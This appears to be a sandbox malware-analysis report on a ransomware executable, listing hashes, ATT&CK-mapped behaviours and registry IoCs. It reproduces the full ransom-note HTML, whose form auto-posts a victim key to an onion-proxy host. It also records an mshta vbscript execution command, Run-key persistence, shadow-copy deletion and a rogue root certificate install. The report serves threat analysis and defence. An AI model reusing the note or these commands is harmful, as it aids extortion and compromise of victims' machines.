09c91862d6e40c74f6edc233440b5f691d498ede6fb00bb43d309ca24e4e67b9

Analysis

max time kernel
1179s
max time network
232s
platform
windows7_x64
resource
win7-20241010-en
resource tags

arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
submitted
12-11-2024 19:27

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

7cf39ebb4409b13a7c153abff6661cc4d28d8d7109543d6419438ac9f2f1be57.exe
Size

443KB
MD5

fd5ae61959c9590036881cb809891029
SHA1

f930d520913b407ab3cb5d7ecf5ee2a7dca1c071
SHA256

7cf39ebb4409b13a7c153abff6661cc4d28d8d7109543d6419438ac9f2f1be57
SHA512

2feb832498370c7635d42913a4328b3ba797e67cf6f7cdadc769dd549b251b05f340899229fcf76ccc1f8fe5d1512d769f581079ac06c6459669d536ba1c1fbb
SSDEEP

6144:I9LJ4d2DvM1V4LKPx7WlkJhW0lNVel9zXAjqiORKmb+Ylr48ov/P:IIdBrSKPx+T597iOMOTh48ov

Score

10^/10

defense_evasion discovery evasion execution impact persistence ransomware spyware stealer

Malware Config

Extracted

Path

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Session Storage\[HOW_TO_DECRYPT_FILES].html

Ransom Note

<html> <head> <title>How can I recover my files ?</title> <style> html, body { font-family: lucida sans,tahoma,aerial,serif; font-size: 14px; overflow-x: hidden; background-color: #fff; padding-left: 1rem; } div.box { border: 1px dotted #212121; padding: 0.4rem; display: block; margin-top: 0.5rem; margin-bottom: 0.5rem; } input[type=submit] { border: none; padding: 0.1rem 0.7rem 0.1rem 0.7rem; background-color: #303f9f; color: #fff; } input[type=submit]:hover { background-color: #212121; } a { color: #212121; text-decoration: none; font-weight: bold; } a:hover { color: #3f51b5; text-decoration: underline; } </style> </head> <body onload="submit_form()"> <div style="margin: auto; max-width: 750px; padding: .5rem 1.5rem .5rem 1.5rem;"> <h3>What happened to my files ?</h3> <p> All of your important files were encrypted using a combination of <a rel="noreferrer" href="https://en.wikipedia.org/wiki/Public-key_cryptography">RSA-2048</a> and <a rel="noreferrer" href="https://en.wikipedia.org/wiki/Advanced_Encryption_Standard">AES-256</a>. </p> <h3>What does this mean ?</h3> <p> This means that your files were modified in a way that makes working with them impossible, unless you have the keys to decrypt them. </p> <h3>Is it possible to recover my files ?</h3> <p> Yes, it possible to get your files back, you'll need a special program (decryptor) and the private key of the key pair used to encrypt them. </p> <h3>How can I get the decryptor and the private key ?</h3> <p> First, you'll need to synchronize your machine with our site, you can do this by clicking the button "Upload the KEY file". You can also manually upload the synchronization file <span style="border: 1px dotted #212121;padding: 0.1rem 0.3rem 0.1rem 0.3rem;">C:\Users\Public\Desktop\KEY</span> by visiting any of the links below. <span style="display: block; font-size: 0.8rem;">*This file contains information to identify your machine and the keys used to encrypt your files. However, those keys are encrypted and only our server can decrypt them.</span> </p> <p> After you've synchronized your machine with our server, you'll just need to follow the instructions there on how to pay for the decryption of your files. </p> <div style="text-align: center;padding-top: 0.5rem; padding-bottom: 0.5rem;"> <form id="infection_form" action="http://lockerrwhuaf2jjx.onion.sx" method="POST"> <input type="hidden" name="infection" value="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"> <noscript><span style="color: red; font-weight: bold;">Javascript is disabled! You must click the button below or manually upload the KEY file.</span></noscript> <input type="submit" value="Upload the KEY file"> </form> </div> <div class="box"> <p> Instructions to install Tor Browser (recommended). </p> <hr> <ol> <li>Download the Tor Browser Bundle here: <a rel="noreferrer" href="https://www.torproject.org/download/download-easy.html.en#windows">https://www.torproject.org</a>.</li> <li>Execute the file you downloaded to extract the Tor Browser into a folder on your computer.</li> <li>Then simply open the folder and click on "Start Tor Browser".</li> <li>Copy and paste the onion address into the address bar:<br><br><span style="border: 1px dotted #212121;padding: 0.15rem 0.3rem 0.15rem 0.3rem;">http://lockerrwhuaf2jjx.onion/PIDEURYY_8D07C999FB33355B6522DF69/</span></li> </ol> </div> <div class="box"> <p style="text-align: center; color: red;"> Although it is not recommended to use web proxies to access the website, you can use the links below with a normal browser to access your page. Just remember to use the Tor Browser whenever making a payment. WARNING: The links below do not belong to us, they all go through someone else's server and should be avoided whenever possible. </p> <ol> <li><a rel="noreferrer" href="http://lockerrwhuaf2jjx.onion.sx/PIDEURYY_8D07C999FB33355B6522DF69/">http://lockerrwhuaf2jjx.onion.sx/PIDEURYY_8D07C999FB33355B6522DF69/</a></li> <li><a rel="noreferrer" href="http://lockerrwhuaf2jjx.onion.link/PIDEURYY_8D07C999FB33355B6522DF69/">http://lockerrwhuaf2jjx.onion.link/PIDEURYY_8D07C999FB33355B6522DF69/</a></li> <li><a rel="noreferrer" href="https://lockerrwhuaf2jjx.onion.rip/PIDEURYY_8D07C999FB33355B6522DF69/">https://lockerrwhuaf2jjx.onion.rip/PIDEURYY_8D07C999FB33355B6522DF69/</a></li> <li><a rel="noreferrer" href="https://lockerrwhuaf2jjx.onion.to/PIDEURYY_8D07C999FB33355B6522DF69/">https://lockerrwhuaf2jjx.onion.to/PIDEURYY_8D07C999FB33355B6522DF69/</a></li> </ol> </div> </div> </body> <script> function submit_form() { if (confirm('Do you want the KEY file to be automatically uploaded ?')) { document.infection_form.submit(); } } </script> </html>

Signatures

Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description pid pid_target process target process

Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1784 944 cmd.exe
Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047
Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
ransomware evasion

Inhibit System Recovery
T1490

Processes:

bcdedit.exebcdedit.exe

pid process

1732 bcdedit.exe
2264 bcdedit.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1784	944	cmd.exe

pid	process
1732	bcdedit.exe
2264	bcdedit.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

adde.exe7cf39ebb4409b13a7c153abff6661cc4d28d8d7109543d6419438ac9f2f1be57.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000\Control Panel\International\Geo\Nation	adde.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000\Control Panel\International\Geo\Nation	7cf39ebb4409b13a7c153abff6661cc4d28d8d7109543d6419438ac9f2f1be57.exe

Deletes itself 1 IoCs

Processes:

cmd.exe

pid process

668 cmd.exe
Executes dropped EXE 1 IoCs

Processes:

adde.exe

pid process

320 adde.exe
Loads dropped DLL 1 IoCs

Processes:

7cf39ebb4409b13a7c153abff6661cc4d28d8d7109543d6419438ac9f2f1be57.exe

pid process

1740 7cf39ebb4409b13a7c153abff6661cc4d28d8d7109543d6419438ac9f2f1be57.exe
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

pid	process
668	cmd.exe

pid	process
320	adde.exe

pid	process
1740	7cf39ebb4409b13a7c153abff6661cc4d28d8d7109543d6419438ac9f2f1be57.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

adde.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000\Software\Microsoft\Windows\CurrentVersion\Run\{3167593F-F6A4-BA6F-B12D-CBAA17200D71} = "C:\\Users\\Admin\\AppData\\Roaming\\Ymteg\\adde.exe"	adde.exe

Drops file in System32 directory 7 IoCs

Processes:

svchost.exe

description	ioc	process
File opened for modification	C:\Windows\system32\wbem\repository\WRITABLE.TST	svchost.exe
File opened for modification	C:\Windows\system32\wbem\repository\MAPPING1.MAP	svchost.exe
File opened for modification	C:\Windows\system32\wbem\repository\MAPPING2.MAP	svchost.exe
File opened for modification	C:\Windows\system32\wbem\repository\MAPPING3.MAP	svchost.exe
File opened for modification	C:\Windows\system32\wbem\repository\OBJECTS.DATA	svchost.exe
File opened for modification	C:\Windows\system32\wbem\repository\INDEX.BTR	svchost.exe
File opened for modification	C:\Windows\system32\wbem\repository	svchost.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

Processes:

adde.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\bmp70105b1f.bmp"	adde.exe

Drops file in Windows directory 3 IoCs

Processes:

svchost.exe

description	ioc	process
File opened for modification	C:\Windows\appcompat\programs\RecentFileCache.bcf	svchost.exe
File opened for modification	C:\Windows\Tasks\SCHEDLGU.TXT	svchost.exe
File opened for modification	C:\Windows\Tasks\SA.DAT	svchost.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 10 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

7cf39ebb4409b13a7c153abff6661cc4d28d8d7109543d6419438ac9f2f1be57.execipher.exeWMIC.exeIEXPLORE.EXEcmd.exeWMIC.exeadde.execmd.execipher.execmd.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	7cf39ebb4409b13a7c153abff6661cc4d28d8d7109543d6419438ac9f2f1be57.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cipher.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WMIC.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IEXPLORE.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WMIC.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	adde.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cipher.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Interacts with shadow copies 3 TTPs 1 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Direct Volume Access
T1006

Processes:

vssadmin.exe

pid process

860 vssadmin.exe

pid	process
860	vssadmin.exe

Modifies Internet Explorer settings 1 TTPs 35 IoCs

adware spyware

Modify Registry

T1112

Processes:

iexplore.exeIEXPLORE.EXE

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000\Software\Microsoft\Internet Explorer\IntelliForms	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "437601700"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000\Software\Microsoft\Internet Explorer\PageSetup	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000\Software\Microsoft\Internet Explorer\Toolbar	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000\Software\Microsoft\Internet Explorer\LowRegistry	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\MFV = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000e78a69453f00554b9c7935775bae7b9600000000020000000000106600000001000020000000601429486896bfe9292c86613354dcb91a8c362c287563e3a59cd3d533518b37000000000e8000000002000020000000436e71c988eb07450a8a1c39b847e98de2260d1ad0efed9f1664e4b3c29081f090000000053d304d18e1997576b3d8395cbb23d1c96b51c5ec65a17f9168fe3b7dda3c6ed700504ef17dfa1047301c2330a9ed6be7d01736479f18893d9b2093286521825baae4d103748bc4bd7ceb4a2f7814d912212ee1a8446874b36303a56b2b4f42ec90db9d195682e65c3d5f8c490c5712637572205e489f345d38a4e5a9a0c8ed5c3f9fc92a0036c78e234a45332c299f400000001d6caeb302e6f8c7ebc3774f94c2c57953623b073e543e82e31050d2b8134ee68c9ffb3e83e225bc4df60948b03e8f8d1c9402a0e6e66774549f31f7b9ca40d5	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000\Software\Microsoft\Internet Explorer\InternetRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000\Software\Microsoft\Internet Explorer\Zoom	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{9301B3D1-A12C-11EF-9D96-D6B302822781} = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000\Software\Microsoft\Internet Explorer\SearchScopes\DownloadRetries = "3"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000\Software\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000\Software\Microsoft\Internet Explorer\IETld\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000\Software\Microsoft\Internet Explorer\SearchScopes	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000e78a69453f00554b9c7935775bae7b96000000000200000000001066000000010000200000004ee5f69da0e41005c176b11887bd3dd434771c8ecf1284486621192375d5d939000000000e8000000002000020000000626d09e28305db224646da806c8f2c19a4dde954fc466880bc24f90f575a8baf200000001ca45518b05c3991e8e9b2c967d57628bc4244313084437e7861f8e2acfb324940000000c8de18a16f07cce30d3d9640781f44af469e0ba7b79a425c96a4fbb80b4ad5c6f05e97ce0bc9e5b0f5ce7438c26817d70f31b60d435cc973936b003f6b1e68bd	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 803299683935db01	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000\Software\Microsoft\Internet Explorer\GPU	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage	iexplore.exe

Modifies registry class 9 IoCs

Processes:

adde.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.locked	adde.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.locked\ = "8D07C999"	adde.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\8D07C999\Shell\Open\Command	adde.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\8D07C999	adde.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\8D07C999\Shell	adde.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\8D07C999\DefaultIcon	adde.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\8D07C999\Shell\Open	adde.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\8D07C999\Shell\Open\Command\ = "mshta.exe vbscript:Execute(\"CreateObject(\"\"WScript.Shell\"\").Run(\"\"[HOW_TO_DECRYPT_FILES].html\"\"):close\")"	adde.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\8D07C999\DefaultIcon\ = "%SystemRoot%\\SysWow64\\shell32.dll,47"	adde.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

Processes:

7cf39ebb4409b13a7c153abff6661cc4d28d8d7109543d6419438ac9f2f1be57.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8	7cf39ebb4409b13a7c153abff6661cc4d28d8d7109543d6419438ac9f2f1be57.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e14000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e80f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f631900000001000000100000002fe1f70bb05d7c92335bc5e05b984da620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8a